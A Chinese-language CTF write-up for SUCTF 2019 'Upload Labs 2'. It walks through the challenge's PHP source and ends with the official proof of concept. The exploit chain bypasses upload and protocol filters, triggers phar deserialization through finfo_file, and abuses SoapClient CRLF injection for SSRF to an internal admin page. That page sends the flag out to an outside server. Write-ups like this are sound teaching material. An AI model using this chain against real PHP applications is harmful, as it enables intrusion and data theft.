suctf2019 的题目
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF%202019]Upload%20Labs%202
源码下载:https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202

首先是一个文件上传,有三点限制

  • 后缀只能是gif,jpeg,jpg,png
  • 检查了MIME类型,抓包改下即可
  • 文件内容不能出现<?,但是限制的很不严谨
    1
    2
    3
    4
    5
    6
    function check(){
    $data = file_get_contents($this->file_name);
    if (mb_strpos($data, "<?") !== FALSE) {
    die("&lt;? in contents!");
    }
    }
    用< ?就可以绕过

然后有一个查看上传文件类型的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_POST["submit"]) && isset($_POST["url"])) {
//这里限制了各种协议
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
//实例化了File类
$file = new File($file_path);
//调用getMIME()来获取文件类型
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

跟进到File类和getMIME()看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include 'config.php';

class File{

public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}

}

class Check{

public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

这里注意两个点后面会用到:

  • File类被实例化
  • 调用了finfo_file函数

先去看看admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
include 'config.php';

class Ad{

public $ip;
public $port;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->ip = $ip;
$this->port = $port;

$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
}

//remote_addr无法伪造,只能是ssrf
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

这里需要一个ssrf,然后提交一些参数就可以在公网服务器上收到flag
那么如何才能有ssrf呢?回到刚才的finfo_file上,看一看这个函数的c源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case FILEINFO_MODE_FILE:
{
/* determine if the file is a local file or remote URL */
const char *tmp2;
php_stream_wrapper *wrap;
php_stream_statbuf ssb;

if (buffer == NULL || !*buffer) {
php_error_docref(NULL, E_WARNING, "Empty filename or path");
RETVAL_FALSE;
goto clean;
}
if (CHECK_NULL_PATH(buffer, buffer_len)) {
php_error_docref(NULL, E_WARNING, "Invalid path");
RETVAL_FALSE;
goto clean;
}

wrap = php_stream_locate_url_wrapper(buffer, &tmp2, 0);

其中调用了php_stream_locate_url_wrapper这个函数
https://blog.zsxsoft.com/post/38 中讲了,使用了php_stream_locate_url_wrapper的php函数,都会存在phar反序列化的问题
phar反序列化如何触发一个ssrf呢,这里可以利用到SoapClient的CRLF注入漏洞(https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/#SOAP%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B9%8BCRLF%E4%B8%8ESSRF%EF%BC%88%E4%BA%8C%EF%BC%89)

正好File类被实例化了,也就是说我们可以给File类写一个__construct方法然后用phar反序列化去执行它

但这还有一个问题,那就是前面对协议的过滤

1
2
3
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}

url的开头不能以phar开头,但可以用php伪协议绕过

1
php://filter/resource=phar://

最后附上官方的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __construct($file_name){
$this->file_name = $file_name;
}
}
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>"); //设置stub
$o = new File($arr);
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>